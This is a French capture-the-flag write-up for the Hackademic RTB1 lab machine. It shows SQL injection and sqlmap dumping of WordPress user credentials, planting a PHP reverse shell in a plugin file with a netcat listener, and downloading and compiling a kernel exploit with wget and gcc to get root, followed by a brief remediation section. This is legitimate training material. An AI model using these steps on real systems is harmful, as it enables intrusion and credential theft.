CTF/Hackademic RTB1

Nom du CTF : **Hackademic RTB1**

Difficulté : **2****/5**

Thème : **Serveur HTTP**

# Détection

Je fais ce CTF sur la plate-forme Root-Me, je n'ai donc pas besoin de déterminer l'IP de la machine. Je remplacerai donc cela par *IP\_ADDR* tout au long du Write-Up, pour ne pas faire de redondance avec une URL.

Commençons donc cette fois par un scan Nmap.

````
   nmap -A -O IP_ADDR

````

Nous voyons donc que nous avons à faire à une cible disposant d'un serveur *SSH* et *HTTP* en écoute. Allons sur le site pour voir ce qu'il contient.

Après avoir fouillé un peu le site, on remarque qu'une *Injection SQL* est possible via le paramètre *cat* de l'article disponible sur le site.

Une simple apostrophe fait s'afficher un message d'erreur. Nous savons maintenant que le système de base de données est *MySQL*, que nous pouvons injecter du *SQL* dans ce paramètre, et donc probablement tirer beaucoup d'information.

Mais, nous voyons aussi, grâce à cette erreur, que le site utilise *WordPress*, cela nous permet de savoir où se trouve le formulaire de connexion pour accéder au panel d'administration, par exemple.

````
   http://IP_ADDR/Hackademic_RTB1/?cat=1'

````

Beaucoup d'information pour une simple petite apostrophe.

De plus, maintenant que nous savons que nous avons à faire à un *WordPress*, nous pouvons utiliser *Wpscan*, qui est un scanner de vulnérabilités spécial à celui-ci.

````
   wpscan --url http://IP_ADDR/Hackademic_RTB1/

````

Il nous dégote en effet quelques failles, dont cette fameuse Injection SQL.

# Exploitation

Pour commencer notre exploitation, utilisons Sqlmap, puisque dans le cas présent la furtivité n'est pas vraiment de rigueur.

````
   sqlmap -u "http://IP_ADDR/Hackademic_RTB1/?cat=1" --dmbs=MySQL --dbs
   sqlmap -u "http://IP_ADDR/Hackademic_RTB1/?cat=1" --dmbs=MySQL -D wordpress --tables
   sqlmap -u "http://IP_ADDR/Hackademic_RTB1/?cat=1" --dmbs=MySQL -D wordpress -T wp_users --columns
   sqlmap -u "http://IP_ADDR/Hackademic_RTB1/?cat=1" --dmbs=MySQL -D wordpress -T wp_users -C user_login,user_pass,user_status --dump

````

Nous connaissons donc maintenant les logins de tout les membres, nous allons nous connecter au site jusqu'à tomber sur un utilisateur avec des droits qui nous semblent suffisant. Rappelez-vous, nous avions trouvé le formulaire de connexion lors de notre Phase de Détection.

````
   http://IP_ADDR/Hackademic_RTB1/wp-admin/index.php

````

Après plusieurs essais, il s'avère que c'est GeorgeMiller qui est le plus intéressant, puisqu'il est administrateur.

Nous voyons surtout qu'il nous permet de modifier des scripts PHP, et donc d'injecter une backdoor, ou un reverse-shell, à notre convenance.

En effet, nous pouvons soit nous rendre dans la partie "**Presentation**" et alors nous pourrons modifier le thème via le sous-menu "**Theme Editor**", choisissons par exemple le fichier "**Header Template**" (header.php), dans ce cas quand nous serons sur n'importe quelle page, le script PHP se lancera. Je vous invite à faire des tests par vous-même avant même d'y placer le reverse-shell.

Sinon nous pouvons aussi utiliser la partie "**Plugins**", et le sous-menu "**Plugin Editor**", et modifier alors l'un des 3 plugins. Je prendrais pour ma part "**markdown.php**", pour la suite de ce Write-Up.

Allons-y pour un reverse-shell. Kali dispose de reverse-shells codés en PHP directement dans ses dossiers. Pour les localiser, nous utiliserons *locate*.

````
   locate reverse-shell.php

````

Kali nous indique que ce qui nous intéresse se trouve ici :

````
   /usr/share/webshells/php/php-reverse-shell.php

````

Copions ce code. Modifions l'adresse IP (Ligne 49) par la notre, ainsi que le Port (Ligne 50) que nous voulons.

````
   $ip = '127.0.0.1'; // CHANGE THIS
   $port = 1234; // CHANGE THIS

````

Pour connaitre votre IP vous pouvez passer par un site tiers comme http://www.monip.fr

Vérifiez aussi que le port que vous choisissez soit bien ouvert sur votre routeur/box, et que le port forwarding soit bien dirigé vers votre distribution Kali.

Commencez d'abord par créer un serveur sur votre machine, via *netcat*.

````
   nc -nlvp PORT // Où PORT est à changé par ce que vous avez choisi dans votre reverse-shell

````

Puis, rendez-vous sur la page qui héberge votre reverse-shell, dans mon cas c'est

````
   http://IP_ADDR/Hackademic_RTB1/wp-content/plugins/markdown.php

````

Si vous voyez s'afficher :

````
   WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)

````

C'est que vous avez probablement mal fait une des étapes précédentes.

Vérifiez que l'adresse IP et le Port que vous avez fourni au reverse-shell est correct.

Que votre routeur/box a bien ce Port ouvert, et qu'il est bien redirigé vers l'adresse IP de votre machine tournant sous Kali.

Et enfin que votre serveur *Netcat* est bien fonctionnel.

Sinon, si tout se passe bien, vous avez alors accès à un shell. Même si vous n'êtes pas encore *root*.

Vérifions en même temps la version du Kernel, et regardons sur Exploit-DB si un exploit n'est pas disponible.

````
   whoami
   uname -a

````

Cela nous donne une version qui est belle et bien sensible a un exploit (EDB-ID: 15285), il nous suffit alors de nous placer dans */tmp*, de le télécharger via *wget*, de le compiler avec *gcc* et enfin de l'exécuter pour enfin devenir *root*.

````
   cd /tmp
   wget https://www.exploit-db.com/download/15285 --no-check-certificate -O exploit.c
   gcc exploit.c -o exploit
   ./exploit

````

La machine est **rootée**. *Partie Terminée*. :)

# Sécurisation

Nous faisons face à une *Injection SQL*, sa correction nous aurait déjà bloqué, puisque nous n'aurions pas pu dumper la base de données, et donc nous n'aurions pas eu les mots de passes de utilisateurs pour nous connecter sur le panel d'administration *WordPress*.

Un bon point étant que les utilisateurs du site n'ont pas de compte SSH, ne permettant alors pas de brute-force intelligent puisque nous ne connaissons pas d'utilisateur SSH.

*WordPress* n'est donc à jour, et c'est donc là le maillon le plus faible de la sécurité de la machine.

Le fait que le système ne soit pas à jour non plus, et qu'un exploit local soit faisable n'arrange cependant pas les choses non plus.

Si les mises à jour avaient été correctement effectuées, il semblerait que la machine serait sécurisée.

# A voir aussi

* Sqlmap
* Netcat
* Wpscan